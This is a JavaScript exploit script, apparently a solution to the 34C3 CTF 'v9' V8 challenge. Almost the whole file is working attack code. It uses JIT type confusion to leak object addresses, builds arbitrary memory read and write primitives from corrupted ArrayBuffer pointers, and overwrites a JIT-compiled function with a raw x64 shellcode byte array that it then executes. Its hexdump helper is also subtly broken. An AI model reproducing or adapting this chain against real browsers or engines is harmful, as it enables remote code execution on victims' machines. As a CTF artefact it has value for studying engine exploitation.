34C3-v9.js

//
// Utility functions.
//

// Return the hexadecimal representation of the given byte.
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));
    return res.join('');

}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    var chunk = data.slice(i, i + 16);
    for (var i = 0; i < data.length; i += 16) {
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function () {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer = new ArrayBuffer(8);
    var byteView = new Uint8Array(buffer);
    var uint32View = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function (type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function (type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8: byteView,
        int32: uint32View,
        float64: float64View
    };
})();

//
// Tiny module that provides big (64bit) integers.
//

// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function () {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function () {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function () {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function (i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function () {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function () {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a & b
    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function (d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
    return (new Int64()).assignAnd(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

function gc() {
    var i = 0;
    for (var i = 0; i < 10000; i++) {
        // Random code to trick the optimizer...
        var a = [1, 2, i, 3, 4];
        i += a.sort()[0];
    }
}

// =================== //
//     Start here!     //
// =================== //



function addrof_one(obj) {
    function leak(o, callback) {
        var a = o.a;
        var _ = callback(a);
        return o.b;
    }

    for (var i = 0; i < 0x100000; i++) {
        leak({ a: 1.1, b: 2.2 }, (a) => { return a; });
    }
    let o = { a: 1.1, b: 2.2 };
    // let obj = {};
    // % DebugPrint(obj);
    return leak(o, _ => { o.b = obj; });
}


let memview_buf = new ArrayBuffer(1024);
let driver_buf = new ArrayBuffer(1024);
// % DebugPrint(memview_buf);
// % SystemBreak();
gc();

let ad = addrof_one(memview_buf);

// let obj = {};
// % DebugPrint(obj);
// let t = addrof(obj);


let o = { a: 1.1 };
o.b = 2.2;
// let obj = new ArrayBuffer(1024);
function poc(o, callback, value) {
    var a = o.a;
    callback(a);
    o.b = value;
    return o.b;
}
for (var i = 0; i < 0x100000; i++) {
    poc(o, (a) => { return a; }, 4.4);
}

let victim = { inline: 1.1 };
victim.a = {};


let v = poc(o, _ => { o.b = victim; }, Add(Int64.fromDouble(ad), 0x10).asDouble());
// print(Int64.fromDouble(v).toString());

o.b.a = driver_buf;
// % DebugPrint(o.b);
// % SystemBreak();

function aar(addr, len) {
    let dv = new Uint8Array(memview_buf);
    dv.set(addr.bytes(), 31);
    var memview = new Uint8Array(driver_buf);
    return memview.subarray(0, len);
}

function aaw(addr, value) {
    let dv = new Uint8Array(memview_buf);
    dv.set(addr.bytes(), 31);
    var memview = new Uint8Array(driver_buf);
    memview.set(value);
}

function addrof_two(obj) {
    function leak_two(o, callback) {
        var a = o.x;
        callback(a);
        return o.y;
    }

    for (var i = 0; i < 0x100000; i++) {
        leak_two({ x: 1.1, y: 2.2 }, (a) => { return a; });
    }
    let o = { x: 1.1, y: 2.2 };
    // let obj = {};
    // % DebugPrint(obj);
    return leak_two(o, _ => { o.y = obj; });
    // print(helper.hex(helper.ftoih(t)), helper.hex(helper.ftoil(t)));
}

function run_shellcode(x) {
    // Not (yet) the real run_shellcode ;)
    return x + 42;
}
for (var i = 0; i < 0x10000; i++) {
    run_shellcode(i);
}

// % DebugPrint(run_shellcode);
var func_addr = Int64.fromDouble(addrof_two(run_shellcode));
// console.log("Function @ " + func_addr);
var code_addr = aar(Add(func_addr, 55),8);
// console.log("Code @ " + code_addr);
var jitcode_addr = Add(code_addr, 95);
// console.log("jit @ " + jitcode_addr);

let shellcode = [72, 49, 255, 72, 247, 231, 101, 72, 139, 88, 96, 72, 139, 91, 24, 72, 139, 91, 32, 72, 139, 27, 72, 139, 27, 72, 139, 91, 32, 73, 137, 216, 139, 91, 60, 76, 1, 195, 72, 49, 201, 102, 129, 193, 255, 136, 72, 193, 233, 8, 139, 20, 11, 76, 1, 194, 77, 49, 210, 68, 139, 82, 28, 77, 1, 194, 77, 49, 219, 68, 139, 90, 32, 77, 1, 195, 77, 49, 228, 68, 139, 98, 36, 77, 1, 196, 235, 50, 91, 89, 72, 49, 192, 72, 137, 226, 81, 72, 139, 12, 36, 72, 49, 255, 65, 139, 60, 131, 76, 1, 199, 72, 137, 214, 243, 166, 116, 5, 72, 255, 192, 235, 230, 89, 102, 65, 139, 4, 68, 65, 139, 4, 130, 76, 1, 192, 83, 195, 72, 49, 201, 128, 193, 7, 72, 184, 15, 168, 150, 145, 186, 135, 154, 156, 72, 247, 208, 72, 193, 232, 8, 80, 81, 232, 176, 255, 255, 255, 73, 137, 198, 72, 49, 201, 72, 247, 225, 80, 72, 184, 156, 158, 147, 156, 209, 154, 135, 154, 72, 247, 208, 80, 72, 137, 225, 72, 255, 194, 72, 131, 236, 32, 65, 255, 214, 195];

aaw(jitcode_addr, shellcode);
run_shellcode();